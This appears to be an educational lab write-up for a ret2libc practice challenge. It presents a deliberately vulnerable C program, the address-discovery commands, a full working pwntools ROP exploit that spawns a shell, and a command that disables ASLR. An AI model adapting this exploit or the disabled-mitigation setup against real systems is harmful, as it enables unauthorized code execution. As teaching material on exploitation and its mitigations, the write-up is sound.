ret2libc ROP Attack (No ASLR): Reusing Library Functions
Challenge 7: ret2libc ROP Attack (no ASLR) (7_simple.c
)
Source Code:
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
int main() {
char name[32] = {0};
printf("Your name is: ");
read(0, name, 256); // <- Buffer overflow: reads 256 bytes into 32-byte buffer
puts(name);
return 0;
}
// Gadget functions for ROP chain practice
void pop_rdi_ret() {
asm("pop %rdi; ret"); // <- Useful ROP gadget
}
// Compiled: gcc -Wall -Wextra -Iinclude -g -fno-stack-protector -no-pie -Wl,-z,norelro -o bin/7_simple src/7_simple.c
This demonstrates the fundamental ret2libc technique - redirecting execution to system functions in libc to spawn a shell without needing shellcode.
Binary Setup
gcc -Wall -Wextra -Iinclude -g -fno-stack-protector -no-pie -Wl,-z,norelro -o bin/7_simple src/7_simple.c
Security Mitigations:
Arch: amd64-64-little
RELRO: No RELRO
Stack: No canary found
NX: NX enabled <- Prevents shellcode execution
PIE: No PIE (0x400000)
SHSTK: Enabled
IBT: Enabled
Stripped: No
Debuginfo: Yes
Key Vulnerabilities:
- Buffer Overflow:
read(0, name, 256)
reads 256 bytes into 32-byte buffer - No Stack Canaries:
-fno-stack-protector
allows return address overwrite - NX Enabled: Cannot execute shellcode on stack, must use ROP
Why ret2libc?
The Problem with NX
# With NX enabled, stack is not executable:
gef> vmmap
0x00007ffffffde000 0x00007ffffffff000 0x0000000000021000 rwx [stack] # Without NX
0x00007ffffffde000 0x00007ffffffff000 0x0000000000021000 rw- [stack] # With NX <- No execute
Solution: Instead of injecting shellcode, reuse existing executable code in libc.
ret2libc Concept
- system() function in libc executes shell commands
- "/bin/sh" string exists in libc
- ROP gadgets set up function call:
system("/bin/sh")
ASLR Bypass (Disabled for Learning)
Why Disable ASLR?
# Disable ASLR to focus on ROP mechanics
echo 0 | sudo tee /proc/sys/kernel/randomize_va_space
With ASLR enabled, libc addresses randomize:
./bin/7_simple # libc at: 0x7f8a2c400000
./bin/7_simple # libc at: 0x7f3d1e200000 <- Different!
./bin/7_simple # libc at: 0x7f9b4f800000 <- Different!
With ASLR disabled, addresses stay constant:
./bin/7_simple # libc at: 0x7ffff7c00000
./bin/7_simple # libc at: 0x7ffff7c00000 <- Same!
./bin/7_simple # libc at: 0x7ffff7c00000 <- Same!
Address Discovery
Step 1: Find libc Base Address
ian@vps:~/pwn/pwnpractice$ ldd ./bin/7_simple
linux-vdso.so.1 (0x00007ffff7fc3000)
libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007ffff7c00000)
/lib64/ld-linux-x86-64.so.2 (0x00007ffff7fc5000)
libc base: 0x00007ffff7c00000
Step 2: Find system() Offset
ian@vps:~/pwn/pwnpractice$ readelf -s /lib/x86_64-linux-gnu/libc.so.6 | grep system
1050: 0000000000058750 45 FUNC WEAK DEFAULT 17 system@@GLIBC_2.2.5
system offset: 0x58750
Step 3: Find "/bin/sh" String
ian@vps:~/pwn/pwnpractice$ strings -a -t x /lib/x86_64-linux-gnu/libc.so.6 | grep /bin/sh
1cb42f /bin/sh
"/bin/sh" offset: 0x1cb42f
Step 4: Calculate Final Addresses
libc_base = 0x00007ffff7c00000
system_addr = libc_base + 0x58750 # = 0x7ffff7c58750
binsh_addr = libc_base + 0x1cb42f # = 0x7ffff7dcb42f
ROP Chain Construction
Understanding x64 Calling Convention
# x64 System V ABI calling convention:
# First argument in RDI register
# system("/bin/sh") requires: RDI = address of "/bin/sh"
Required ROP Gadgets
# Find ROP gadgets in the binary
ian@vps:~/pwn/pwnpractice$ ropper -f ./bin/7_simple
0x00000000004011e7: pop rdi; ret; # <- Load argument into RDI
0x000000000040101a: ret; # <- Stack alignment
Buffer Overflow Analysis
# Find overflow offset with cyclic pattern
gef> pattern create 100
gef> run
# Input the pattern, then check crash
gef> pattern search $rsp
[+] Found at offset 40 (0x28)
Result: Need 40 bytes of padding to reach return address.
Python Exploit Breakdown
#!/usr/bin/env python3
from pwn import *
exe = context.binary = ELF('/home/ian/pwn/pwnpractice/bin/7_simple')
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
# Known addresses (ASLR disabled)
base = 0x00007ffff7c00000 # From ldd output
pop_rdi = 0x4011e7 # From ropper: pop rdi; ret
ret = 0x40101a # From ropper: ret (for stack alignment)
# Calculate libc function addresses
system = base + libc.sym["system"] # 0x58750
bin_sh = base + next(libc.search(b"/bin/sh")) # 0x1cb42f
io = start()
# Build ROP chain
payload = b'A' * 40 # Padding to reach return address
payload += p64(pop_rdi) # ROP gadget: pop rdi; ret
payload += p64(bin_sh) # Argument: address of "/bin/sh"
payload += p64(ret) # Stack alignment (required for system())
payload += p64(system) # Call system()
payload += p64(0x0) # Return address for system() (optional)
io.sendline(payload)
io.interactive()
ROP Chain Execution Flow
Stack Layout After Overflow:
[Buffer: AAAA...AAAA] (40 bytes)
[pop_rdi gadget ] <- Return address
[/bin/sh address ] <- Will be popped into RDI
[ret gadget ] <- Stack alignment
[system() address ] <- Final target
[0x0000000000000000 ] <- Return addr for system
Execution Steps:
- Buffer overflow overwrites return address with
pop_rdi
gadget - pop rdi; ret loads
/bin/sh
address into RDI register - ret gadget aligns stack (required by modern libc)
- system() executes with RDI pointing to "/bin/sh"
- Shell spawned!
Successful Exploitation
ian@vps:~/pwn/pwnpractice$ python3 solves/7_simple.py
[*] '/home/ian/pwn/pwnpractice/bin/7_simple'
Arch: amd64-64-little
RELRO: No RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
Your name is: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\xe7\x11@
$ whoami
ian
Why did this attack work?
- NX Bypass: Uses existing executable code instead of injecting shellcode
- Function Reuse: Leverages legitimate system() function in libc
- ROP Technique: Chains gadgets to set up proper function call
Essential things used here
- Buffer Overflow: Control over return address
- ROP Gadgets:
pop rdi; ret
to set function argument - libc Addresses: system() function and "/bin/sh" string
- Stack Alignment: Extra
ret
for modern calling conventions stack alignment in x64
Why This Exploit Fails Remotely
Local vs Remote Address Problem
Local System (Your Machine):
ian@vps:~/pwn/pwnpractice$ ldd ./bin/7_simple
libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007ffff7c00000)
ian@vps:~/pwn/pwnpractice$ readelf -s /lib/x86_64-linux-gnu/libc.so.6 | grep system
1050: 0000000000058750 45 FUNC WEAK DEFAULT 17 system@@GLIBC_2.2.5
Your exploit uses: system = 0x00007ffff7c00000 + 0x58750 = 0x7ffff7c58750
Remote System (Different Machine):
# Different libc version (Ubuntu 20.04 vs 22.04)
victim@remote:~$ ldd ./bin/7_simple
libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007f8a2c400000) # Different base!
victim@remote:~$ readelf -s /lib/x86_64-linux-gnu/libc.so.6 | grep system
1050: 0000000000055410 45 FUNC WEAK DEFAULT 17 system@@GLIBC_2.2.5 # Different offset!
Remote reality: system = 0x00007f8a2c400000 + 0x55410 = 0x7f8a2c455410
The Exploit Failure
# Your hardcoded exploit
system_addr = 0x7ffff7c58750 # Your local address
binsh_addr = 0x7ffff7dcb42f # Your local address
# What happens remotely:
# 1. Exploit jumps to 0x7ffff7c58750 (your local system address)
# 2. Remote system has different memory layout
# 3. Address points to unmapped memory or random data
# 4. Segmentation fault - exploit fails
Result: [1] Segmentation fault (core dumped)
Even with disabled ASLR, if remote system uses different libc version, offsets won't match and exploit fails.
Real-World Considerations
- ASLR: Requires information leak to find libc addresses (see Challenge 8)
- Stack Canaries: Would need canary bypass
- Different libc versions: Need version fingerprinting or provided libc
- PIE enabled: Would also need binary base address leak
-- Try it yourself with my Github Repo - Exploit Development Step-by-Step There you are able to check the whole code and also the full exploit script.